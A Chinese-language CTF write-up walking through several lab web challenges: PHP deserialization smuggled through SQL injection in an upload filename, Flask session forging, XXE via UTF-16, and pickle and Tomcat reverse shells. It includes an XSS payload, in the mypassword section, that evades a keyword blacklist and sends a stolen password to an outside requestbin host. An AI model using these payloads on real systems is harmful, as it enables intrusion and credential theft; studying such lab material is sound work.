Contents
[安洵杯 2019]不是文件上传
打开靶机,是一个文件上传页面
测试了一会儿发现只能上传图片
然后就去看了一下源码
原来这就是源码泄露题
源码复制不过来我就不复制了
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?php include("./helper.php"); class upload extends helper { public function upload_base(){ $this->upload(); } } if ($_FILES){ if ($_FILES["file"]["error"]){ die("Upload file failed."); }else{ $file = new upload(); $file->upload_base(); } } $a = new helper(); |
发现没有过滤file文件名并且调用了helper类
跟一下helper类中有一个__destruct
魔术方法可以利用,通过调用view_files
中的file_get_contents
来读取flag。
这里改为true,利用这里的内容读一下flag、
1 2 3 4 5 6 | class helper { protected $ifview = True; protected $config = "/flag"; } $a = new helper(); echo serialize($a); |
输出:O:6:”helper”:2:{s:9:”*ifview”;b:1;s:9:”*config”;s:5:”/flag”;}
这里的属性值ifview和config都是protected类型的,所以需要将payload修改为:
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
(以至于为什么要将修改为\0\0\0,是因为源码中在存取过程中对protected类型的属性进行了处理。)
正常上传图片的sql语句为:
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
由于title处是我们能够控制的,所以构造文件名如下:
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
因为上传的文件名中不能有双引号,所以将payload进行16进制编码。
使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。
参考:安洵杯2019 官方Writeup(Web/Misc)
[GWCTF 2019]mypassword
又是面向WP做题的一天
一个登陆页面
登陆呗
发现有一个feedback
目测是要打XSS了
发现源码中有一些注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | if(is_array($feedback)){ echo ""; return false; } $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie']; foreach ($blacklist as $val) { while(true){ if(stripos($feedback,$val) !== false){ $feedback = str_ireplace($val,"",$feedback); }else{ break; } } } |
发现存在黑名单过滤,但是仔细读一下发现是替换为空,双写就可以绕过了
之后再login.js中发现了另一些代码
if (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i = 0; i < cookies.length; i++) { var arr = cookies[i].split('='); var key = arr[0]; cookie[key] = arr[1]; } if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; } }
会把当前用户的用户名和密码填进当前的表单中来
允许内联脚本执行, 但是不可以远程请求js脚本执行, 不过已经够了, 把密码发到xss平台就好
<incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://http.requestbin.buuoj.cn/19thsto1/?a="+psw; </scrcookieipt>
[CISCN2019 华东南赛区]Web4
打开靶机只有一个按钮,?url=https://baidu.com
猜测含有文件包含,读一下etc/passwd
发现了app目录,读一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | # encoding:utf-8 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" ) |
发现定义了一个/flag路由,如果username为fuck就输出flag
发现加密方式是app.config[‘SECRET_KEY’] = str(random.random()*233)
而这个种子来源于random.seed(uuid.getnode())
uuid.getnode()
返回的是什么呢?——MAC地址。
所以我们读一下mac:/sys/class/net/eth0/address
写个脚本算一下随机数
1 2 3 4 5 6 7 | import random ma="02:42:ae:00:c1:a2" mac=mac.replace(":", "") random.seed(int(mac,16)) key = str(random.random() * 233) print(key) |
然后用flask_session_cookie_manager3.py解密和加密
decode -s 211.833641783 -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XqaWVg.-UW-FoXwQwwRr0kbQLgcNSWTuTg --> {'username': b'www-data'} encode -s 211.833641783 -t "{'username': b'fuck'}" --> eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XqaXKQ.SO-G1LwBT7IxPpvOMtzDR1vA4ZY
生成的cookie替换已有的cookie,访问flag就有flag了
[CSAWQual 2019]Web_Unagi
打开靶机,发现有一个文件上传界面,给了示例:
很明显是应该使用XXE读文件了,给了flag在根目录,构造一下
上传以后发现被拦截了:
那就上传一个UTF16的吧!
成功获取flag
[WUSTCTF2020]easyweb
tomcat文件包含漏洞,找个JSP反弹shell脚本包含监听即可
Wallbreaker_Easy
打开靶机直接给了shell
连接上去直接用插件绕过了。。。。。。。。
预期解是绕过disable_function
https://xz.aliyun.com/t/4688
[watevrCTF-2019]Pickle Store
Pickle反序列化 python类的。从网上找了个反弹shell的python3脚本,替换cookie监听一下就可以了
[FireshellCTF2020]URL TO PDF
随便输入一个url,可以返回一个PDF。猜测要通过带出flag的内容到pdf中
这个文章了
写一个html
分离下就有了